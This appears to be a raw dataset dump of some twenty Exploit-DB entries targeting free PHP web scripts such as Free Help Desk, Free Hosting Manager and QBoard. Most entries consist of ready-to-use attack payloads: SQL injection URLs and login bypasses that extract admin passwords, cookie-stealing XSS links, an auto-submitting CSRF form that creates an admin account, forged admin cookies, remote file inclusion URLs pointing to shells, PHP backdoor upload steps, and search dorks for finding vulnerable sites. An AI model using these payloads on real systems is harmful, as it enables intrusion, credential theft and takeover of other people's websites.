deardaniel/secdata-raw huggingface dataset:
Exploit-DB #29774
Description: Free File Hosting System 1.1 - 'register.php?AD_BODY_TEMP' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-24
Author: IbnuSina

Exploit:
source: https://www.securityfocus.com/bid/23118/info
  
Free File Hosting is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
Version 1.1 is vulnerable to these issues.
  
This BID was incorrectly reporting Free File Upload script as the affected package. Free File Upload script is the demo version of the Free File Hosting script.
  
This issue is related to BID 20781 - Free File Hosting Forgot_Pass.PHP Remote File Include Vulnerability. 

http://www.example.com/register.php?AD_BODY_TEMP=http://www.example2.com
Exploit-DB #36147
Description: Free Help Desk 1.1b - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2011-09-06
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/49721/info

Free Help Desk is prone to the following input-validation vulnerabilities:

1. A cross-site scripting vulnerability
2. Multiple SQL-injection vulnerabilities
3. A cross-site request-forgery vulnerability

Exploiting these issues could allow an attacker to execute arbitrary code, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Free Help Desk 1.1b is vulnerable; other versions may also be affected. 

SQL injection:

URIs

http://www.example.com/index.php?sub=users&action=edit&user_id=-1%27%20union%20select%201,2,3,version%28%29,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27%20+--+
http://www.example.com/index.php?sub=types&action=edit&type_id=123%27%20union%20select%201,2,version%28%29,4,5,6%20+--+
http://www.example.com/index.php?sub=help&action=details&call_id=1%27%20union%20select%201,version%28%29,3,4,5,6,7,8,9,10,11,12,13,14,15%20+--+
http://www.example.com/index.php?sub=help&call_first_name=%22%20and%201=1%20+--+

Inputs:

<form action="http://www.example.com/index.php" method="post">
<input type="hidden" name="user" value="' OR 1=1 -- ">
<input type="hidden" name="pass" value="1">
<input name="send" value="exploit" type="submit">
</form>


Cross-site scripting:

URIs

http://www.example.com/index.php?sub=types&action=add&type=1&returnurl=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/index.php?sub=types&action=edit&type_id=15&type=1&returnurl=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/index.php?sub=types&action=add&type=2&returnurl=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/index.php?sub=types&action=edit&type_id=8&type=2&returnurl=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/index.php?sub=staff&action=add&type=&returnurl=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/index.php?sub=staff&action=edit&type_id=7&type=&returnurl=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/index.php?sub=types&action=add&type=3&returnurl=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

Cross-site request-forgery:

Input:

<form action="http://www.example.com/index.php?sub=users&action=store&type=add" method="post">
<input type="hidden" name="user_id" value="">
<input type="hidden" name="user_name" value="newadmin">
<input type="hidden" name="user_login" value="newadmin">
<input type="hidden" name="user_password" value="123456">
<input type="hidden" name="user_password_confirm" value="123456">
<input type="hidden" name="user_level" value="0">
<input type="hidden" name="user_email" value="">
<input type="submit" id="btn"> 
</form>
<script>
document.getElementById('btn').click();
</script>
Exploit-DB #6213
Description: Free Hosting Manager 1.2/2.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-08-06
Author: Scary-Boys

Exploit:
#########################################################################
#                                                                       #
#Free Hosting Manager = 1.2 & 2.0 Insecure Cookie Handling Vulnerability#
#                                                                       #
#########################################################################
#                                                                       #
# AUTHOR     : Scary-Boys                                               #
# HOME       : http://scary-boys.com                                    #
# Founded By : lvlr-Erfan                                               #
# Download   : http://www.fhm-script.com/download.php                   #
#                                                                       #
#########################################################################
#                                                                       #
#     DorKs  : "Powered By Free Hosting Manager"                        #
#                                                                       #
#########################################################################
#                                                                       #
#  DESCRIPTION :                                                        #
# the admin panel only checks if the cookie exists.                     #
#                                                                       #
#########################################################################
#                                                                       #
#  Vulnerability :                                                      #
#                                                                       #
#  javascript:document.cookie = "adminuser=1; path=/"; document.cookie = "loggedin=1; path=/";
#                                                                       #
#########################################################################
#                                                                       #
# after running the javascript, Go to "/admin" & Refresh      #
#                                                                       #
#########################################################################

# milw0rm.com [2008-08-06]
Exploit-DB #23028
Description: Free Hosting Manager 2.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2012-11-30
Author: Yakir Wizman

Exploit:
##########################################################################
## Free Hosting Manager V2.0 SQL Injection Vulnerability
## Google Dork: inurl:clients/packages.php?id=1
## Bug discovered by Yakir Wizman AKA Pr0T3cT10n, <yakir.wizman@gmail.com>
## Date: 29/11/2012
## Version: 2.0
## Software Link: http://www.fhm-script.com/download.php
## ISRAEL
##########################################################################
##          Author will be not responsible for any damage.
##########################################################################
## SQL Injection PoC:
## http://www.example.com/clients/packages.php?id=-1'+UNION+ALL+SELECT+1,CONCAT(username,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+adminusers%23
##########################################################################
# 0x31337.net
##########################################################################
Exploit-DB #12105
Description: Free Image & File Hosting - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-04-07
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Free Image & File Hosting Upload Vulnerability      
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com                                                                              
| # Web Site : http://dl.p30vel.ir/scripts/vel_file_uploader_v1.1.zip                                                                                                                                  
| # Dork     : Copyright 2008 Free Image & File Hosting 
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : upload                                                                      
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
 1 - http://127.0.0.1/vel_file_uploader_v1.1/index.php (Use Tamper Data)
 
 2 - http://127.0.0.1/vel_file_uploader_v1.1/uploads/ (File Name)


Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com * Cyb3r IntRue (avengers team) * www.alkrsan.net * www.mormoroth.net
---------------------------------------------------------------------------------------------------------------
Exploit-DB #3568
Description: Free Image Hosting 2.0 - 'AD_BODY_TEMP' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-25
Author: Crackers_Child

Exploit:
############################################################################################
Baslik  :Image_Upload Script  Remote File Inclusion Exploit
         Free Image Hosting 2.0

.ndir   : http://free-php-scripts.net/scripts/Image_Upload.zip

Bulan   :Crackers_Child

Zay.flk : <td><div align="center"><?php include($AD_BODY_TEMP);?></div></td>

Exploit : www.site.com/imageupload_path/login.php?AD_BODY_TEMP=Shell?

        : www.site.com/imageupload_path/frontpage.php?AD_BODY_TEMP=Shell?

        :www.site.com/imageupload_path/forgot_pass.php?AD_BODY_TEMP=Shell ?

Not     :[Olmek Var$a Kaderde Dert Ekleme Derdine ;) ]

Greetz  : EveryBody
############################################################################################ 

# milw0rm.com [2007-03-25]
Exploit-DB #18277
Description: Free Image Hosting Script - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2011-12-26
Author: ySecurity

Exploit:
============================================
Free Image Hosting Script Remote File Upload Vulnerability
============================================
# Exploit Title: Free Image Hosting Script [ALL VERSIONS] Remote File
Upload Vulnerability
# Date: 26/12/11
# Author: ySecurity
# Vendor or Software Link: http://www.photohostingscript.com
# Price: $29.99
# Version: All versions effected
# Category:: Remote File Upload
# Google dork: inurl:"show-image.php?id="
# Tested on: Windows 7
# Vendor HAS been notified.
########################################################################################

NOTE: You will ONLY be able to find your shell if the "/pictures"
directory and if the directory is not forbidden.

This exploit allows hackers to upload a PHP backdoor into "/pictures/"
directory via the use of Live HTTP Headers (Firefox Addon)

[Vulnerability]

Tools Needed: Live HTTP Headers, Backdoor Shell

Step 1: Locate upload form on index page.
Step 2: Rename your shell to shell.php.jpg and start capturing data with
Live HTTP Headers
Step 3: Enter tags for the image (can be anything)
Step 4: Replay data with Live HTTP Headers -
Step 5: Change [Content-Disposition: form-data; name="image1";
filename="shell.php.jpg"\r\n] to [Content-Disposition: form-data;
name="image1"; filename="shell.php"\r\n]
Step 6: Locate pictures directory:
www.site.tld/imagehostingscript/pictures/ (usually)
Step 7: Find PHP file (random digits.php) = should look like
(321879194bc8ff2843bf7b63a666f665.php)
Step 8: Navigate to backdoor =
www.site.tld/imagehostingscript/pictures/321879194bc8ff2843bf7b63a666f665.php


########################################################################################

Greets to: Team Intra

Submitted ethically, after disclosure.
Exploit-DB #8047
Description: Free Joke Script 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-02-12
Author: Muhacir

Exploit:
# freejokesscript = 1.0 (joke-archives.php) remote sql injection vulnerability & admin bypass vulnerability 

# info : found at semi sexy mode, when i was searching jokes script for my own site. if u have any please help :(. i didnt sit and search them like others so dont kick me hard :)

# author : MuhaciR aka Ð³Ð»Ð°Ð¼ÑƒÑ€Ð½Ñ‹Ð¹ Ð¿Ð¾Ð´Ð¾Ð½Ð¾Ðº

# source : http://www.evernewscripts.com/?p=3

# license price : $20 per copy

# sql: http://www.victim.com/[jokes path if any]/joke-archives.php?cat_name=muhacir&cat_id=15+union+select+1,concat(user(),0x3a,version(),0x3a,database()),3,4,5/*

# admin bypas: simply enter 'or 1=1/* at login. no filtration

# greetz goes : 

	-me
	
	-my love, ok a little to turkmen girlz too :)

	-friends: arassa_turkmen, bezzat, mc_merw, baamcik, dmry ;)

	-and ofcourse str0ke for running this site

P.S:i wholeheartedly celebrate your valentines day and wish you to love, be loved, success and ferrari

# milw0rm.com [2009-02-12]
Exploit-DB #5419
Description: Free Photo Gallery Site Script - 'path' File Disclosure
Type: webapps
Platform: php
Date: 2008-04-09
Author: JIKO

Exploit:
-------------------------------------------------------------------------
  --          JIKI Team [ JIKO + KIl1er ]        ---
-------------------------------------------------------------------------
# Author  : jiko
# email  : jalikom@hotmail.com
# Home   : www.no-back.org
# Script  : gallery-script-lite
# Bug   : Remote  Local File Inclusion Vulnerability
# Download  : http://www.arwscripts.com/gallery-script-lite.html
# Dork  : developed by ARWScripts.com
# file  : download.html
# Error  :

=========================JIkI Team===================
# Exploit  :
 
  http://[site]/[script]/download.html?path=
#ex   :
 download.html?path=config.inc.php
http://www.xxx.com/demos/galleryscriptlite/download.html?path=config.inc.php
===========
 greetz : all my friend and H-T Team and all No-back members and tryag.Com
 visit: www.no-back.org & www.tryag.com 
-------------------------------------------------------------------------
  --            JIKI Team [ JIKO + KIl1er ]    --
-------------------------------------------------------------------------

# milw0rm.com [2008-04-09]
Exploit-DB #8293
Description: Free PHP Petition Signing Script - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-03-27
Author: Qabandi

Exploit:
                  ||          ||   | ||        
           o_,_7 _||  . _o_7 _|| q_|_||  o_w_,
          ( :   /    (_)    /           (   .  


######################################################
#	Free PHP Petition Signing Script Release     #
# 		Login SQL injection	 	     #
######################################################
#	     Qabandi   | iqa[a]hotmail.fr	     #
                From Kuwait, Peace.
  Salamz: Killer Hack, Ghost-R00t, Mr.Mn7os, Cyb3rT
######################################################
Download: http://www.rediscussed.com/2008/01/18/free-php-petition-signing-script-release/
------------------------------------------------------
-:PoC:-


http://usa-homeland.org/pet/signing_system-admin

Username: admin ' or ' 1=1
[CREDENTIAL_REDACTED]


------------vuln--code---------(./signing_system-admin/index.php)

$query = mysql_query("SELECT username,password FROM `accounts` WHERE username='$username' AND [CREDENTIAL_REDACTED]'", $conn) or die(mysql_error());

------------------------------------

# milw0rm.com [2009-03-27]
Exploit-DB #14437
Description: Free PHP photo Gallery script - Remote Command Execution
Type: webapps
Platform: php
Date: 2010-07-22
Author: ViRuS Qalaa

Exploit:
# Exploit Title:   Free PHP photo gallery script Remote Command Execution
Vulnerability
# Date: 2010/07/21
# Author: ViRuS Qalaa
# Email: em9@live.com
# My Sites : www.pal-mafia.com & www.vbspiders.com
# Script home: http://www.phpgalleryscript.org
# download Script: http://phpweby.com/downloads/gallery
# Tested on: Windows
# Team hacker:ViRuS Qalaa & HaCkEr aRaR >>>X-MaN HaCk3r TeaM
# HaCkEr aRaR: y.0@hotmail.de
:::::::::::::::::::::::::
Iam ViRuS Qalaa Frome Iraq Hackers
=================Exploit=================

-=[ vuln c0de ]=-
exec('tasklist /FI "PID eq ' . $pid. '" /FO LIST', $output);
/jadro/libs/adodb/adodb-perf.inc.php
Line:39

----exploit----
Dork: "PHP Gallery © 2010 PHP Weby hostgator coupon"

http://{localhost}/{path}/jadro/libs/adodb/adodb-perf.inc.php?output=id

---------greatz----------
Greatz to :
hacker arar,ViRuS KSA,Q2,Spy-iq

and My friends Others and My friends in MSN
EnJoY o_O
Exploit-DB #14438
Description: Free PHP Photo Gallery Script - Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-07-22
Author: ViRuS Qalaa

Exploit:
# Exploit Title:   Free PHP photo gallery script Remote File inclusion
Vulnerability
# Date: 2010/07/21
# Author: ViRuS Qalaa
# Email: em9@live.com
# My Sites : www.pal-mafia.com & www.vbspiders.com
# Script home: http://www.phpgalleryscript.org
# download Script: http://phpweby.com/downloads/gallery
# Tested on: Windows
# Team hacker:ViRuS Qalaa & HaCkEr aRaR >>>X-MaN HaCk3r TeaM
# HaCkEr aRaR: y.0@hotmail.de
:::::::::::::::::::::::::
Iam ViRuS Qalaa Frome Iraq Hackers
=================Exploit=================

-=[ vuln c0de ]=-
include_once($path);
/jadro/libs/adodb/adodb.inc.php
Line:4227

----exploit----
Dork: "PHP Gallery © 2010 PHP Weby hostgator coupon"

http://{localhost}/{path}/jadro/libs/adodb/adodb.inc.php?path=shell.txt?

---------greatz----------
Greatz to :
hacker arar,ViRuS KSA,Q2,Spy-iq

and My friends Others and My friends in MSN
EnJoY o_O
Exploit-DB #6456
Description: Free PHP VX Guestbook 1.06 - Arbitrary Database Backup
Type: webapps
Platform: php
Date: 2008-09-13
Author: SirGod

Exploit:
###############################################################################################
[+] Free PHP VX Guestbook 1.06 Arbitrary Backup Database
[+] Discovered By SirGod 
[+] wWw.MorTal-TeaM.OrG                   
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,HrN,kemrayz,007m,Raven,Nytr0gen,str0ke                    
################################################################################################

 [+] Arbitrary Backup Database

  Follow the example and the database download will begin :

   [dbname]_db_backup.sql

 
  PoC :

    http://[target]/[path]/admin/backupdb.php

  Example :

    http://127.0.0.1/book/admin/backupdb.php

  Live Demo :

    http://phpversion.com/book/admin/backupdb.php


################################################################################################

# milw0rm.com [2008-09-13]
Exploit-DB #6457
Description: Free PHP VX Guestbook 1.06 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-09-14
Author: Stack

Exploit:
###############################################################################################
[+] Free PHP VX Guestbook 1.06 Insecure Cookie Handling Vulnerability 
[+] Discovered By Stack                 
[+] Greetz : All my freind                
################################################################################################
---
exploit:
javascript:document.cookie = "admin_name=1; path=/"; document.cookie = "admin_pass=1; path=/";

# milw0rm.com [2008-09-14]
Exploit-DB #28151
Description: free QBoard 1.1 - 'about.php?qb_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-03
Author: CrAsh_oVeR_rIdE

Exploit:
source: https://www.securityfocus.com/bid/18780/info
   
Plume CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
   
A successful exploit of these issues allows the attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
   
www.example.com/(path)/about.php?qb_path=http://evilcode.txt?
Exploit-DB #28152
Description: free QBoard 1.1 - 'contact.php?qb_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-03
Author: CrAsh_oVeR_rIdE

Exploit:
source: https://www.securityfocus.com/bid/18780/info
    
Plume CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
    
A successful exploit of these issues allows the attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
    
www.example.com/(path)/contact.php?qb_path=http://evilcode.txt?
Exploit-DB #28153
Description: free QBoard 1.1 - 'delete.php?qb_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-03
Author: CrAsh_oVeR_rIdE

Exploit:
source: https://www.securityfocus.com/bid/18780/info
     
Plume CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
     
A successful exploit of these issues allows the attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
     
www.example.com/(path)/delete.php?qb_path=http://evilcode.txt?
Exploit-DB #28154
Description: free QBoard 1.1 - 'faq.php?qb_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-03
Author: CrAsh_oVeR_rIdE

Exploit:
source: https://www.securityfocus.com/bid/18780/info
      
Plume CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
      
A successful exploit of these issues allows the attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
      
www.example.com/(path)/faq.php?qb_path=http://evilcode.txt?
Exploit-DB #28155
Description: free QBoard 1.1 - 'features.php?qb_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-03
Author: CrAsh_oVeR_rIdE

Exploit:
source: https://www.securityfocus.com/bid/18780/info
       
Plume CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
       
A successful exploit of these issues allows the attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
       
www.example.com/(path)/features.php?qb_path=http://evilcode.txt?
Exploit-DB #28156
Description: free QBoard 1.1 - 'history.php?qb_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-03
Author: CrAsh_oVeR_rIdE

Exploit:
source: https://www.securityfocus.com/bid/18780/info
        
Plume CMS is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.
        
A successful exploit of these issues allows the attacker to execute arbitrary server-side script code on an affected computer with the privileges of the webserver process. This may facilitate unauthorized access.
        
www.example.com/(path)/history.php?qb_path=http://evilcode.txt?